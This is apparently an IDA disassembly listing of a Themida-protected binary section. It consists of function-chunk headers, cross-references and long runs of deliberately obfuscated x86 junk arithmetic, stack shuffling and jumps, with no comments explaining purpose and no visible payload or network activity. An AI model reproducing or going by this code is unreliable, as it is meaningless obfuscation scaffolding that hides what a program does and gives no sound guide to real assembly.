; START	OF FUNCTION CHUNK FOR sub_5A1076


loc_598E02:				; CODE XREF: sub_5A1076+9F24j
		pop	edx
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		xor	ebx, eax
		pop	dword ptr [eax]
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A1076

; =============== S U B	R O U T	I N E =======================================



sub_598E15	proc near		; CODE XREF: sub_5A1076+A33j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A11B1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005ABAD1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AC24C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AEB3F SIZE 00000007 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, 34191DC3h
		sub	esp, 4
		mov	[esp+8+var_8], eax
		push	ecx
		pop	eax
		pop	ecx
		xchg	esi, ecx
		xchg	ecx, esi
		not	ecx
		xchg	ecx, esi
		jmp	loc_5AEB3F
sub_598E15	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_598E3C:				; CODE XREF: sub_5A8D43+7E3j
		sub	[esp+4], edi
		jmp	loc_59F609
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------


loc_598E45:				; CODE XREF: Themida_:005AD386j
		push	4C092467h
		pop	ecx
		not	ecx
		dec	ecx
		jnz	loc_5AABD2
		push	edi
		mov	edi, 77D601D4h
		inc	edi
		push	ebp
		mov	ebp, 38AE55E2h
		push	edx


loc_598E62:				; CODE XREF: Themida_:005A06B2j
		pop	edi
		sub	ebp, ebx
		sub	ebp, 2D1F256Ch
		pop	ebx
		jmp	loc_5A2F09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_598E71:				; CODE XREF: sub_59EF66-6FC7j
					; sub_598D16+14805j
		mov	edi, [esp+18h+var_18]
		jmp	loc_597C33
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_598E79:				; CODE XREF: sub_59D99C+E0BCj
		push	ecx
		mov	ecx, 2FFF350Dh
		mov	eax, 0DD6DF648h
		add	eax, ecx
		pop	ecx
		jmp	loc_5AAA27
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A20F9


loc_598E8C:				; CODE XREF: sub_5A20F9-71E5j
		xor	eax, ecx
		jmp	loc_59A0B7
; END OF FUNCTION CHUNK	FOR sub_5A20F9
; ---------------------------------------------------------------------------


loc_598E93:				; CODE XREF: Themida_:005A1BCFj
		mov	ebp, 49122A95h
		jmp	loc_5A2E2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_598E9D:				; CODE XREF: sub_5A8D43-E327j
		pop	eax
		xor	[esp+arg_0], ecx
		pop	ecx
		pop	eax
		push	1C78h
		mov	[esp-4+arg_0], ebp
		mov	ebp, 1E0D640Ah
		sub	esp, 4
		mov	[esp+0], edx
		push	esi
		mov	esi, 4624002Dh
		neg	esi
		dec	esi
		jle	sub_59DEB0
		push	ebp
		mov	ebp, 0B0C9303Eh
		add	esi, ebp
		pop	ebp
		mov	edx, esi
		pop	esi
		mov	bl, 7Fh


loc_598ED7:				; CODE XREF: Themida_:005A76BDj
		push	87Ah
		jmp	loc_5AB929
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_598EE1:				; CODE XREF: sub_59B707+4EEFj
		add	esi, edi
		sub	esi, 30F341F4h
		jmp	loc_59890E
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_598EEE:				; CODE XREF: sub_5AE6FD-445Cj
		add	eax, 11F93B70h
		push	edx
		mov	edx, 4F71502Eh
		and	eax, edx
		pop	edx
		add	eax, 373D3469h
		add	eax, 22C82B57h
		sub	eax, 9D369FEAh
		sub	edi, 38540051h
		add	edi, eax
		add	edi, 38540051h
		pop	eax
		push	ebp
		push	edx
		mov	edx, 6C071D7h
		sub	edx, 6D5909A0h
		neg	edx
		jmp	loc_5A1607
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A99FA


loc_598F2E:				; CODE XREF: sub_5A99FA+25j
		mov	eax, 4
		add	edi, eax
		pop	eax
		push	ebp
		mov	ebp, 4
		sub	edi, ebp
		pop	ebp
		xchg	edi, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+0]
		jmp	loc_5A754D
; END OF FUNCTION CHUNK	FOR sub_5A99FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5991B7


loc_598F5D:				; CODE XREF: sub_5991B7+15D8Cj
		xor	edi, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
; END OF FUNCTION CHUNK	FOR sub_5991B7
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_598F63:				; CODE XREF: sub_5A8C33-2E37j
					; sub_5AD76F-6DF0j
		push	esi
		push	7FA7h
		mov	[esp+14h+var_14], ebx
		add	[esp+14h+var_14], 167B35B4h
		mov	esi, [esp+14h+var_14]
		push	ebp
		jmp	sub_5A95E0
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599526


loc_598F7C:				; CODE XREF: sub_599526+1771j
		add	ch, 4Ch
		add	ch, al
		sub	ch, 4Ch
		jmp	loc_5A460D
; ---------------------------------------------------------------------------


loc_598F89:				; CODE XREF: sub_599526+1D1Dj
		xor	ebx, 47096888h
		xchg	ecx, ebx
		not	ecx
		xchg	ecx, ebx
		sub	ebx, 0B0C6A694h
		jmp	loc_5A0D93
; END OF FUNCTION CHUNK	FOR sub_599526
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_598FA0:				; CODE XREF: sub_5AC95F-3674j
		add	esp, 4
		push	ecx
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		jmp	loc_5A0CB5
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_598FB2:				; CODE XREF: Themida_:005AA924j
		mov	eax, 69F95771h
		not	eax
		shl	eax, 4
		jns	loc_59889D
		and	eax, 2A0A1053h
		jmp	loc_599283
; ---------------------------------------------------------------------------


loc_598FCC:				; CODE XREF: Themida_:005990E1j
		mov	esi, 792E3CA2h
		sub	esi, 4BEE4D88h
		add	esi, 351405Ch
		inc	esi
		or	esi, 5F6772E3h
		add	esi, 3CC37262h
		jmp	loc_5A0018
; ---------------------------------------------------------------------------


loc_598FEF:				; CODE XREF: Themida_:005A4F05j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5A03A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F5C0


loc_599012:				; CODE XREF: Themida_:005A358Cj
					; sub_59F5C0+49DCj
		xor	edx, ebp
		pop	ebp
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59F5C0
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	722Eh
		jmp	loc_5A1BAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_599028:				; CODE XREF: sub_599059+13D79j
		pop	edi
		neg	ebx
		jle	loc_5A1B0A
		or	ebx, 768B3298h
		jnp	loc_59898C
		neg	ebx
		jmp	loc_5987E1
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8899


loc_599044:				; CODE XREF: sub_5A8899-FB13j
		mov	[esp+10h+var_10], edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp+14h+var_14], ebp
		mov	ebp, 4
		jmp	loc_597EAE
; END OF FUNCTION CHUNK	FOR sub_5A8899

; =============== S U B	R O U T	I N E =======================================



sub_599059	proc near		; CODE XREF: sub_5AD8C7+961j

var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_6		= dword	ptr  0Ah
arg_A		= dword	ptr  0Eh
arg_E		= dword	ptr  12h

; FUNCTION CHUNK AT 00597BE8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00598331 SIZE 00000052 BYTES
; FUNCTION CHUNK AT 005987E1 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059898C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00599028 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00599939 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00599B8C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00599D70 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059AB97 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B1FA SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059B31D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059B401 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059B5C0 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 0059B65A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059BDE0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059C04F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059C190 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059C4BD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059C755 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059C813 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059CBE7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059CD54 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0059CF4F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059CF9B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059D0F3 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059D6E3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059E019 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059E8D0 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 0059EB6F SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059EE92 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059F584 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059F635 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059F66C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059F730 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A042F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A0475 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A066C SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A0B1D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A1532 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A1590 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A1A78 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A1B0A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A1E01 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A202C SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005A2085 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A2164 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A2863 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A30A8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A31CF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A3273 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A3788 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A3BB5 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A3E5A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A4240 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A42AF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A4510 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A4AA7 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A4FED SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A50CF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A5BDA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A5CBA SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A61A3 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A6937 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A7216 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A7C76 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A7E68 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A809A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A849E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A858E SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A8B33 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A8C1D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A915F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A972D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A9F2D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A9F84 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AA0A0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AA19D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AA2D1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AA322 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005AA428 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AA683 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AACBC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AACEA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AB2DC SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AB837 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AB909 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005ABD28 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 005AC339 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005AC4ED SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005ACA59 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005ACDB6 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005ACE72 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AD0B4 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005AD19D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005ADA23 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005AE303 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AE388 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AE627 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005AE987 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AEA1C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AEFB9 SIZE 00000008 BYTES

		push	ebx
		mov	ebx, 27166145h
		jmp	loc_59EB6F
sub_599059	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8899


loc_599064:				; CODE XREF: sub_5A8899-3A72j
		mov	edx, [esp+10h+var_10]
		add	esp, 4
		shl	edx, 1
		jnp	loc_5A463D
		sub	edx, 0C52AB77Ah
		push	edx
		sub	[esp+10h+var_10], 234B3F59h
		pop	eax
		add	eax, 234B3F59h
		pop	edx
		add	edx, eax
		jmp	loc_59FD15
; END OF FUNCTION CHUNK	FOR sub_5A8899
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987D8


loc_599091:				; CODE XREF: sub_5987D8+10D59j
		sub	ecx, 4
		xchg	ecx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ebp
		mov	ebp, 0BC67F32h
		sub	ebp, 83535F5h
		sub	[esp+arg_0], ebp
		pop	ebp
		push	[esp-4+arg_0]
		pop	eax
		add	esp, 4
		push	447Fh
		mov	[esp-4+arg_0], ebp
		mov	ebp, 217604BCh
		dec	ebp
		add	ebp, 0E21B4482h
		jmp	loc_5A034A
; END OF FUNCTION CHUNK	FOR sub_5987D8
; ---------------------------------------------------------------------------


loc_5990CE:				; CODE XREF: Themida_:0059DB64j
		mov	eax, [esp]
		add	esp, 4
		xor	ebp, 3F0903A5h
		push	ebx
		mov	ebx, 0C5784842h
		push	esi
		jmp	loc_598FCC
; ---------------------------------------------------------------------------


loc_5990E6:				; CODE XREF: Themida_:005AF156j
		add	edx, 7401B6Bh
		pop	esi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_59CF7B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A72FB


loc_5990FE:				; CODE XREF: sub_5A72FB-B000j
		push	dword ptr [esp+4]
		push	[esp+8+var_8]
		jmp	loc_5AAA46
; END OF FUNCTION CHUNK	FOR sub_5A72FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_59910A:				; CODE XREF: sub_59FFBE-48BCj
		mov	eax, 2F383C37h
		sub	eax, 4DBC4552h
		jnp	loc_5A81C2
		jmp	loc_5A2777
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
		xor	edi, 5BD939D8h
		push	eax
		mov	ebx, ecx
		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_599129:				; CODE XREF: sub_59FFBE+6C03j
		dec	eax
		jmp	loc_599C19
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_59912F:				; CODE XREF: sub_5A1B2A-7DDDj
		shl	dh, 8
		jmp	loc_5A1D33
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_599137:				; CODE XREF: sub_59A932+FDB8j
		pop	esi
		add	ecx, 444D6643h
		push	ecx
		dec	[esp+4+var_4]
		pop	ecx
		dec	ecx
		push	edx
		mov	edx, 172EA8h
		or	edx, 3853CD9h
		shl	edx, 7
		xor	edx, 6BC01A12h
		and	edx, 6CDA7DB0h
		jmp	loc_5AE1E4
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_599164:				; CODE XREF: sub_59ACEC+Bj
		sub	esi, 1C512D84h
		shl	esi, 8
		xor	esi, 1A37F20h
		jmp	loc_59C57A
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_599178:				; CODE XREF: sub_59FFBE-4BCCj
		shr	edi, 8
		xor	edi, 412EA6D3h
		and	esi, edi
		mov	edi, [esp-8+arg_4]
		add	esp, 4
		neg	esi
		inc	esi
		jmp	loc_5AB41F
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_599191:				; CODE XREF: sub_59A932-118Cj
		mov	edi, 110A6221h
		jmp	loc_5ABC66
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------


loc_59919B:				; CODE XREF: Themida_:005A6D20j
		jmp	loc_5A57C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987D8


loc_5991A0:				; CODE XREF: sub_5987D8+116Dj
		push	66C9h
		jmp	loc_5AC062
; END OF FUNCTION CHUNK	FOR sub_5987D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5991AA:				; CODE XREF: sub_59CA4A-4A07j
		jmp	loc_5AAAE9
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A337E


loc_5991AF:				; CODE XREF: sub_5A337E+5j
		mov	[esp+4+var_4], edx
		jmp	loc_5A6BDD
; END OF FUNCTION CHUNK	FOR sub_5A337E

; =============== S U B	R O U T	I N E =======================================



sub_5991B7	proc near		; CODE XREF: sub_5A7343-975Aj

var_A		= dword	ptr -0Ah
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00597F1D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00598BBF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00598F5D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059C2A9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059C6A6 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A0C1F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A456A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A5150 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A706B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005AC7B9 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005AD808 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AEF3A SIZE 0000000E BYTES

		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		jmp	loc_59C6A6
sub_5991B7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8108


loc_5991CB:				; CODE XREF: sub_5A8108+1CFBj
		sub	ebp, 5DDB7618h
		add	ebp, eax
		jmp	loc_5A97EB
; END OF FUNCTION CHUNK	FOR sub_5A8108
; ---------------------------------------------------------------------------


loc_5991D8:				; CODE XREF: Themida_:00597BB5j
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5991DD:				; CODE XREF: sub_5A8C33-1A49j
		mov	eax, 444C748Bh
		not	eax
		push	ebx
		mov	ebx, 6BEF012Bh
		jmp	loc_59C106
; ---------------------------------------------------------------------------


loc_5991EF:				; CODE XREF: sub_5A8C33-C3B6j
		jle	loc_5AC095
		sub	ebx, 0C937538h
		jge	loc_59ABDF
		jmp	loc_5A9DE4
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
		xor	esi, [esp]
		pop	esp
		sub	esi, edx
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_59920D:				; CODE XREF: sub_59ACEC-14F5j
		sub	edi, 2DC56109h
		jmp	loc_5A843A
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------


loc_599218:				; CODE XREF: Themida_:005A5F1Ej
		sub	esi, 5271D9Bh
		push	ebp
		mov	ebp, 5C767D0Bh
		add	ebp, 0CC94E050h
		sub	esi, ebp
		jmp	loc_5AA97F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F20F


loc_599231:				; CODE XREF: sub_59F20F+84B9j
		xor	[esp+4+var_4], ecx
		xor	ecx, [esp+4+var_4]
		jmp	loc_59B934
; END OF FUNCTION CHUNK	FOR sub_59F20F
; ---------------------------------------------------------------------------


loc_59923C:				; CODE XREF: Themida_:005A9832j
		pop	ecx
		sub	eax, 4BF1392Fh
		sub	eax, ebx
		add	eax, 4BF1392Fh
		sub	eax, 7CF11284h
		add	eax, 6CE97A25h
		jmp	loc_59E6DF

; =============== S U B	R O U T	I N E =======================================



sub_599258	proc near		; DATA XREF: Themida_:00597AC4o

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059F854 SIZE 00000013 BYTES

		push	[esp+arg_0]
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		pop	eax
		sub	esp, 4
		mov	[esp+0Ch+var_C], edx
		mov	edx, esp
		push	9Bh
		mov	[esp+10h+var_10], esi
		push	ebx
		push	3CB31B1Dh
		push	[esp+18h+var_18]
		pop	ebx
		push	edi
		jmp	loc_59F854
sub_599258	endp

; ---------------------------------------------------------------------------


loc_599283:				; CODE XREF: Themida_:00598FC7j
					; Themida_:005A8831j
		push	ebx
		jmp	loc_5A0D04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_599289:				; CODE XREF: sub_5986D6+3E20j
		shr	al, 8
		jp	loc_5A63AD
		shr	al, 8
		jmp	loc_59F6FA
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
		mov	edx, [esp]
; START	OF FUNCTION CHUNK FOR sub_5ABE52


loc_59929D:				; CODE XREF: sub_5ABE52-E1C6j
		xchg	ecx, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		jmp	loc_5A5E81
; END OF FUNCTION CHUNK	FOR sub_5ABE52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5992A8:				; CODE XREF: sub_5AC95F-DFF4j
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		push	ebx
		push	12A02A9h
		pop	ebx
		not	ebx
		add	ebx, 0FFFFFFFFh
		push	edx
		jmp	loc_59F00A
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5992C3:				; CODE XREF: sub_5A91EC+2FB9j
		add	ebx, ecx
		jmp	loc_5A5FD9
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_5992CA:				; CODE XREF: sub_5A28BE-2040j
		or	esi, 56B93B6Eh
		jg	loc_59E4B8
		jmp	loc_5A554E
; END OF FUNCTION CHUNK	FOR sub_5A28BE
; ---------------------------------------------------------------------------
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	dh, 53h


loc_5992E4:				; CODE XREF: Themida_:005A0CA0j
		pop	esi
		push	edx
		jmp	loc_5A9411
; ---------------------------------------------------------------------------


loc_5992EB:				; CODE XREF: Themida_:005A323Dj
		pop	ebx
		xchg	eax, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		push	eax
		push	ecx
		mov	ecx, 4
		push	ecx
		mov	eax, [esp]
		jmp	loc_5AAE85
; ---------------------------------------------------------------------------


loc_59930C:				; CODE XREF: Themida_:005A4039j
		pop	ebx
		jmp	loc_59E7B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_599312:				; CODE XREF: sub_5A7343-48B8j
		add	ebx, edi
		push	[esp+4+var_4]
		jmp	loc_5AC2C0
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE52


loc_59931C:				; CODE XREF: sub_5ABE52-B0CCj
		push	eax
		mov	eax, esp
		jmp	loc_5ADF15
; END OF FUNCTION CHUNK	FOR sub_5ABE52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_599324:				; CODE XREF: sub_5A8C33-8D5Bj
		add	esp, 4
		jmp	loc_5ACA4E
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_59932F:				; CODE XREF: sub_5A3F42+A995j
		mov	[esp+4+var_4], esi
		jmp	loc_5ACCB9
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_599337:				; CODE XREF: sub_5A8C33+1827j
		add	edi, 6E194AF1h
		jz	loc_59F0BD
		add	edi, 71844FC8h
		jnp	loc_5A520A
		jmp	loc_5A2FBB
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB531


loc_599354:				; CODE XREF: sub_5AB531-6D21j
		sub	ebx, 5934D64Fh
		sub	ebp, ebx
		pop	ebx
		sub	ecx, 0C391C77h
		sub	ecx, ebp
		add	ecx, 0C391C77h
		pop	ebp
		inc	ecx
		xor	ecx, 0C14FE0E2h
		add	edx, 7E9C019Dh
		add	edx, ecx
		sub	edx, 7E9C019Dh
		jmp	loc_5A0E2D
; END OF FUNCTION CHUNK	FOR sub_5AB531
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599721


loc_599386:				; CODE XREF: sub_599721+AF03j
		mov	[esp+8+var_8], eax
		push	ebp
		mov	ebp, 4
		push	114h
		jmp	loc_59E67A
; END OF FUNCTION CHUNK	FOR sub_599721
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B923


loc_599399:				; CODE XREF: sub_59B923+92B4j
		pop	edi
		push	eax
		jmp	loc_59A109
; END OF FUNCTION CHUNK	FOR sub_59B923
; ---------------------------------------------------------------------------


